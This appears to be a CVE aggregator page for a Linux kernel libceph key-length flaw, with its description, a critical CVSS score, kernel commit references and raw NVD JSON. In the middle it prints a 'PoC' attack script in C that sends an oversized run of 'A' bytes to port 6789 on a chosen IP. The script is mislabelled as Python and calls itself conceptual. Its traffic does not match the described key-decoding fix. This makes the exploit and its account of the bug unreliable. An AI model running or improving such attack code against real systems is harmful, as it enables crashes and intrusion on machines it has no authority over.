CVE-2026-43304

Description

In the Linux kernel, the following vulnerability has been resolved: libceph: define and enforce CEPH_MAX_KEY_LEN When decoding the key, verify that the key material would fit into a fixed-size buffer in process_auth_done() and generally has a sane length. The new CEPH_MAX_KEY_LEN check replaces the existing check for a key with no key material which is a) not universal since CEPH_CRYPTO_NONE has to be excluded and b) doesn't provide much value since a smaller than needed key is just as invalid as no key -- this has to be handled elsewhere anyway.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Linux Kernel (Stable branches)

Linux Kernel versions prior to commit 1b275bd49e58752efb83767a5d1aed41356c5e64

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

/*
 * PoC for CVE-2026-43304 (Conceptual)
 * This script attempts to trigger the buffer overflow in libceph
 * by sending a crafted authentication request with an oversized key.
 * Note: Actual exploitation requires a valid Ceph protocol handshake.
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define TARGET_PORT 6789

void trigger_vulnerability(char *ip) {
    int sockfd;
    struct sockaddr_in server;
    char buffer[1024];
    // Malformed payload simulating an oversized key
    // In a real scenario, this must adhere to Ceph binary protocol structure
    char *exploit_payload = "\x00\x00\x00\x01"; // Header placeholder
    char oversized_key[10000];
    memset(oversized_key, 'A', sizeof(oversized_key));
    
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    server.sin_family = AF_INET;
    server.sin_port = htons(TARGET_PORT);
    server.sin_addr.s_addr = inet_addr(ip);

    if (connect(sockfd, (struct sockaddr *)&server, sizeof(server)) < 0) {
        perror("Connection failed");
        return;
    }

    printf("[+] Sending malformed packet to %s...\n", ip);
    // Sending the payload (Simplified)
    send(sockfd, exploit_payload, strlen(exploit_payload), 0);
    send(sockfd, oversized_key, sizeof(oversized_key), 0);
    
    printf("[+] Payload sent. Check target for crash.\n");
    close(sockfd);
}

int main(int argc, char *argv[]) {
    if (argc < 2) {
        printf("Usage: %s <target_ip>\n", argv[0]);
        return 1;
    }
    trigger_vulnerability(argv[1]);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43304
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43304
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43304/
[4] VulDB https://vuldb.com/cve/CVE-2026-43304
[5] https://git.kernel.org/stable/c/1b275bd49e58752efb83767a5d1aed41356c5e64
[6] https://git.kernel.org/stable/c/6405e8c680974bb74e2c98d5249fb52c7b12a6c6
[7] https://git.kernel.org/stable/c/8d745d38c88ecbed95f6b2b39857bf89f35a3244
[8] https://git.kernel.org/stable/c/ac431d597a9bdfc2ba6b314813f29a6ef2b4a3bf
[9] https://git.kernel.org/stable/c/c1a0f5f1e5e7e98c36a362ec3d1fcfd9932931ed
[10] https://git.kernel.org/stable/c/d82467c07b03a27c3c5469b62bb3b726305a80bb
[11] https://git.kernel.org/stable/c/e1dc45d97975f9db65694d234fbddf1915176e16

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43304", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T14:16:37.693", "lastModified": "2026-05-11T08:16:08.913", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nlibceph: define and enforce CEPH_MAX_KEY_LEN\n\nWhen decoding the key, verify that the key material would fit into\na fixed-size buffer in process_auth_done() and generally has a sane\nlength.\n\nThe new CEPH_MAX_KEY_LEN check replaces the existing check for a key\nwith no key material which is a) not universal since CEPH_CRYPTO_NONE\nhas to be excluded and b) doesn't provide much value since a smaller\nthan needed key is just as invalid as no key -- this has to be handled\nelsewhere anyway."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "references": [{"url": "https://git.kernel.org/stable/c/1b275bd49e58752efb83767a5d1aed41356c5e64", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/6405e8c680974bb74e2c98d5249fb52c7b12a6c6", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/8d745d38c88ecbed95f6b2b39857bf89f35a3244", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/ac431d597a9bdfc2ba6b314813f29a6ef2b4a3bf", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/c1a0f5f1e5e7e98c36a362ec3d1fcfd9932931ed", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/d82467c07b03a27c3c5469b62bb3b726305a80bb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/e1dc45d97975f9db65694d234fbddf1915176e16", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}